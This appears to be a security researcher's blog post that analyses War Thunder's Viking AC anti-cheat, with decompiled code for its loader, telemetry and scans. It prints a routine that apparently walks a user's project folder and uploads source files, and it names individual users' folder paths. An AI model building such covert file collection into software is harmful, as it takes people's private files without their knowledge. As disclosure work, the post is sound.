March 10, 2026
War Thunder Viking AC: the anti-cheat that looked around too much
It starts with normal anti-cheat paranoia. Then it keeps going. And going.
Viking AC is the anti-cheat component used by War Thunder. If you have ever looked at anti-cheat code before, the first few things it does will not shock you. Anti-cheats inspect processes, modules, overlays, windows, weird memory permissions, and other places people tend to hide bad ideas.
That is the deal, more or less. You install a competitive game, and somewhere in the fine print you accept that a small goblin is going to watch your process list and judge your overlay choices.
Viking AC does the usual anti-cheat stuff, and then it keeps walking. Eventually the justification gets thin enough that it is standing in your development folder wearing a fake mustache.
The loader
The public-facing piece in Client_64.dll mostly acts as a loader. Once the player joins a match, the client manually maps and executes a payload sent by the server. That payload contains the real anti-cheat logic.
This is not automatically evil. Loading server-provided anti-cheat modules gives the vendor flexibility, lets them rotate checks, and makes static analysis more annoying. Annoying is legal. Annoying is basically the entire anti-cheat business model.
The main payload is also much less obfuscated than the loader, which is nice. Not morally nice, but "thank you for not making this take three more evenings" nice.
The loader exposes a telemetry helper to the payload. When the payload runs, it receives a pointer to this function and can use it to queue reports back through the loader.
void append_telemetry(std::uint32_t event_id, wchar_t* str1,
std::uint32_t len1, wchar_t* str2,
std::uint32_t len2, std::uint8_t* extra_data,
std::uint32_t data_len) {
// 32 MB cap
if (data_len > 0x2000000)
data_len = 0x2000000;
Packet packet;
// [event_id][src_len][src_name][dst_len][dst_name][data_len][extra_data]
packet.append(event_id);
packet.append(str1);
packet.append(len1 * 2);
packet.append(str2);
packet.append(len2 * 2);
packet.append(data_len);
packet.append(extra_data);
enter_critical_section();
telemetry_packets.append(packet);
leave_critical_section();
}
So the payload can format a report, attach some data, and drop it into the loader's global telemetry queue. Boring plumbing. Useful plumbing. Later, unfortunately, the plumbing starts carrying things that should not be in the pipes.
The main payload
The payload entry point expects a loader context with a magic value. If the context checks out, it stores the callbacks, allocates its state, and starts up normally.
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD reason, loader_ctx* ctx) {
switch (reason) {
case DLL_PROCESS_ATTACH: {
if (!ctx || ctx->magic != 'PLG0')
return FALSE;
global_loader_ctx = *ctx;
vac_ctx* v = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(vac_ctx));
if (!v)
return FALSE;
v = vac_ctx::vac_ctx(v);
::ctx = v;
if (!v || !v->on_process_attach()) {
if (::ctx) {
::ctx->~vac_ctx();
::ctx = nullptr;
}
return FALSE;
}
return TRUE;
}
case DLL_THREAD_ATTACH:
if (::ctx)
return ::ctx->on_thread_attach();
return FALSE;
case DLL_THREAD_DETACH:
if (::ctx) {
::ctx->on_thread_detach();
::ctx->~vac_ctx();
::ctx = nullptr;
}
return FALSE;
}
return FALSE;
}
The delayed scan
A lot of the interesting behavior happens from the thread attach path. The code waits roughly 60 seconds after initialization before running a batch of checks. Again, not weird by itself. Delayed checks are common. You wait for the game to settle, let the obvious tooling attach, then take a look around.
At first, the list looks pretty normal: RWX module sections, overlays, processes, windows, execution history, remote access tools, virtual machine utilities. A little nosy, sure, but still broadly inside the anti-cheat zip code.
// send_report formats a report and forwards it through append_telemetry.
bool on_thread_attach(vac_ctx* ctx) {
if (!ctx->counter_start)
return true;
QueryPerformanceCounter(&curr_perf_count);
// 60 seconds must pass.
if ((curr_perf_count - ctx->counter_start) / ctx->freq * 1000 < 60000)
return true;
scan_modules_for_rwx_section();
scan_nvidia_overlay();
scan_medal_overlay();
processes = capture_process_snapshot(); // NtQuerySystemInformation
if (processes) {
for (proc in processes) {
if (!validate_process_name(proc))
break;
}
}
scan_all_windows();
if (filtered_processid_list(L"rustdesk.exe")) {
if (filtered_processid_list(L"powershell.exe")) {
report_reason = "RDESK";
send_report(report_reason, ...);
is_suspicious = 1;
}
}
win10_scan_user_execution_history();
win11_scan_user_execution_history();
if (filtered_processid_list("vmconnect.exe")) {
report_reason = "VMWARE2";
send_report(report_reason, ...);
is_suspicious = 1;
}
if (PathFileExistsW("C:/Users/36127/")) {
report_reason = "BOTLAUNCHER";
send_report(report_reason, ...);
is_suspicious = 1;
}
return false;
}
The scan is broad. It asks about injected modules, sure, but also about the rest of the session. Some checks make sense. Some have the energy of someone reading your fridge magnets at a house party.
Module and overlay checks
scan_modules_for_rwx_section walks loaded modules through the PEB and looks for sections marked read-write-execute. If it finds something interesting, it reports the module and may include PDB information from the debug directory.
This is one of the normal parts. RWX memory is suspicious in a game process. Reporting PDB information is a little spicy, but still understandable if the goal is to identify known loaders or sloppy internal builds.
scan_nvidia_overlay searches for CEF-OSC-WIDGET with the title NVIDIA GeForce Overlay. It reports the window if it is click-through. scan_medal_overlay looks for MedalOverlayClass with the title MedalOverlay and reports it if the window is larger than 100x100 and top-most.
Overlay checks are also normal. If you put a transparent rectangle near a game, someone in a dark room will eventually develop opinions about it. This is nature healing.
Window scanning
The scan_all_windows routine enumerates windows and collects details such as style flags, extended style flags, class name, dimensions, and owning process name. The string table contains a long list of cheat names, loader names, bot names, and developer-ish labels.
Some examples include:
PangoBright, CatimeWindow, EvoMouseExec, LEANTHUNDER2, LeanThunder,
LEAN_WAR, AceAim, StarPlayerAgent64, XLoader, LabCore,
ChineseCheatDev, Iron Fury, BAUNTICH, SKRIPT.G, WinnersCircle,
WTACE, SOFTHUB, WALLRAMMER, Script4wt, NAVALRB1, wtshipbot,
goodbyedpi, JnnsClient, ImGui Platform, THUNDER2, PYTHON1,
SUBVISIO, WARCHILL, REVAMPED, Loaders
There is also a check for a specific window size and style reported as MONKREL. I do not have enough context to say exactly what that targets. I saw the string, made the face you make when a microwave sparks, and kept moving.
Execution history scanning
This is the part where it starts getting less charming.
The Windows 10 and Windows 11 execution-history routines read recently executed applications from the registry, then compare timestamps, checksums, names, and paths against a large rule set. Some rules are generic. Others are wildly specific.
The strings include cheat-related names and tool labels such as:
LAUNCHER_LEGACY, /Arcane/, ZH2.1.EXE, HUB-WT, DMA, DMA-Tools,
DMATest, kmbox, MT_DMA, ProAim Warthunder, warthunder_, unix,
AimAce, IQUNIX, WO-Dma, WoLoaderDma, MONKRELKID
So far, fine. Ugly, but fine. Then the list starts including specific source, repository, and desktop paths. Not broad indicators. Not generic install locations. Actual-looking developer paths.
That is harder to defend. A path like C:/Users/poli/Documents/GitHub/... is not a cheat signature in the same way a known malicious module hash is a cheat signature. It is more like seeing someone's notebook on a desk and deciding the safest thing to do is read it.
Process name validation
The process-name validation pass checks running process names against another list. Examples include generic names like test, main, thunder, plus names associated with bots, launchers, and other tooling.
Process-name checks are cheap and noisy. They are easy to spoof, easy to collide with, and extremely funny when they catch something innocent because someone named a prototype main.exe, the official file name of software written after midnight.
Then it gets personal
I have not covered on_process_attach in full because it is large and deserves its own pass. The short version: it performs additional checks, takes screenshots, scans Visual Studio solutions and files, and reuses several of the string sets mentioned above.
That Visual Studio scanning is where the tone changes. Anti-cheat software has always lived in an uncomfortable place. It needs visibility into hostile environments, but it runs on machines owned by actual people who did not sign up to donate their weekend project folder to the vibe police.
And this is where we get to the stupid shit.
The file collection path
The most concerning behavior is a payload that appears to walk a target machine, collect source-code-adjacent files, compress them, and upload the archive over HTTPS through winhttp.dll. The file extensions include the usual developer debris: .c, .h, .cpp, .hpp, .cc, .cxx, .cs, .asm, .sln, .vcxproj, .exe, .dll, and friends.
At this point we are well past anti-cheat telemetry. The mall cop is cloning your hard drive now.
The following IDA decompilation shows the main orchestration routine for the source-file collection path. It decodes the target path from its parameter, normalizes the trailing slash, recursively walks the directory, initializes eight upload workers, starts eight upload threads, waits for them to finish, and then cleans up after itself.
Sorry, Aston. Your files are belong to us.
// Main exfiltration orchestrator. Decodes target path from param,
// recursively walks it collecting source files, spawns 8 upload threads,
// waits for completion. Target: C:\Users\Aston\Documents\Projects\
__int64 __fastcall exfil_main(char *a1)
{
unsigned int v1; // r14d
int v2; // eax
PVOID v3; // r15
__int64 v4; // rsi
__int64 v5; // rax
unsigned __int64 v6; // rdi
PVOID v7; // rbx
char *v8; // rbx
__int64 v9; // r14
char *v10; // rbx
__int64 v11; // r14
char *v12; // rbx
__int64 v13; // r14
signed __int64 ntdll_api_context; // rax
void *v15; // rcx
void *v16; // rcx
char *v17; // rbx
PVOID v19; // [rsp+20h] [rbp-E0h] BYREF
int v20; // [rsp+28h] [rbp-D8h]
PVOID P; // [rsp+30h] [rbp-D0h] BYREF
unsigned int v22; // [rsp+38h] [rbp-C8h]
PVOID v23[2]; // [rsp+40h] [rbp-C0h] BYREF
char v24; // [rsp+50h] [rbp-B0h] BYREF
char v25; // [rsp+58h] [rbp-A8h] BYREF
char v26; // [rsp+190h] [rbp+90h] BYREF
v19 = 0;
v20 = 0;
if ( a1 )
{
g_scan_all_files_flag = *a1;
xor_decode_and_copy_path((__int64)&v19, a1 + 1);
v1 = v20;
if ( v20 <= 1
|| (v2 = v20 - 1, v20 - 1 < 0)
|| v2 >= v20
|| (v3 = v19, *((_WORD *)v19 + v2) != 47) && *((_WORD *)v19 + v2) != 92 )
{
wstr_ensure_trailing_backslash(&v19);
v1 = v20;
v3 = v19;
}
v4 = 8;
v5 = heap_alloc_aligned(0xC7u);
if ( v5 )
{
v6 = (v5 + 71) & 0xFFFFFFFFFFFFFFC0uLL;
*(_QWORD *)(v6 - 8) = v5;
wstr_copy_buf(v23, v3, v1);
wstr_create_from_literal(&P, L"*");
v7 = P;
wstr_append(v23, P, v22);
if ( v7 )
{
heap_free(v7);
P = 0;
v22 = 0;
}
*(_QWORD *)(v6 + 8) = 0;
*(_QWORD *)v6 = &vtable_dir_scanner;
*(_DWORD *)(v6 + 16) = 0;
wstr_copy_buf(v6 + 24, v3, v1);
*(_QWORD *)(v6 + 40) = 0;
*(_QWORD *)(v6 + 48) = 0;
*(_QWORD *)(v6 + 64) = 0;
sub_180003268(v6 + 8, v3, v1);
recursive_dir_walk(
(unsigned __int8 (__fastcall ***)(_QWORD, struct _WIN32_FIND_DATAW *, PVOID *))v6,
(__int64 *)&v19,
(__int64)v23);
if ( v23[0] )
heap_free(v23[0]);
if ( v6 )
{
v8 = &v24;
v9 = 8;
do
{
init_upload_worker((__int64)v8);
v8 += 40;
--v9;
}
while ( v9 );
v10 = &v24;
v11 = 8;
do
{
*((_QWORD *)v10 + 4) = v6;
create_thread(v10, thread_entry_dispatch, v10);
v10 += 40;
--v11;
}
while ( v11 );
v12 = &v25;
v13 = 8;
do
{
ntdll_api_context = get_ntdll_api_context();
((void (__fastcall *)(_QWORD, __int64))(*(_QWORD *)(ntdll_api_context + 112)
^ *(_QWORD *)(ntdll_api_context + 120)))(
*(_QWORD *)v12,
0xFFFFFFFFLL);
v12 += 40;
--v13;
}
while ( v13 );
cleanup_file_list((unsigned __int64 *)(v6 + 40));
v15 = *(void **)(v6 + 24);
if ( v15 )
{
heap_free(v15);
*(_QWORD *)(v6 + 24) = 0;
*(_DWORD *)(v6 + 32) = 0;
}
v16 = *(void **)(v6 + 8);
if ( v16 )
{
heap_free(v16);
*(_QWORD *)(v6 + 8) = 0;
*(_DWORD *)(v6 + 16) = 0;
}
heap_free(*(PVOID *)(v6 - 8));
v17 = &v26;
do
{
v17 -= 40;
sub_180001530(v17);
--v4;
}
while ( v4 );
}
}
if ( v3 )
heap_free(v3);
}
return 0;
}
Anyway
Viking AC looks for injected modules and suspicious overlays, which is expected. It also collects telemetry about windows, processes, execution history, developer artifacts, and in some cases source-code-related files. That is the part that made me stop scrolling and stare at the decompiler like it owed me money.
Maybe their server-side handling is careful. Maybe the retention is short. Maybe there is a lawyer somewhere with a very expensive PDF explaining why this is fine. From the client side, though, it looks awful.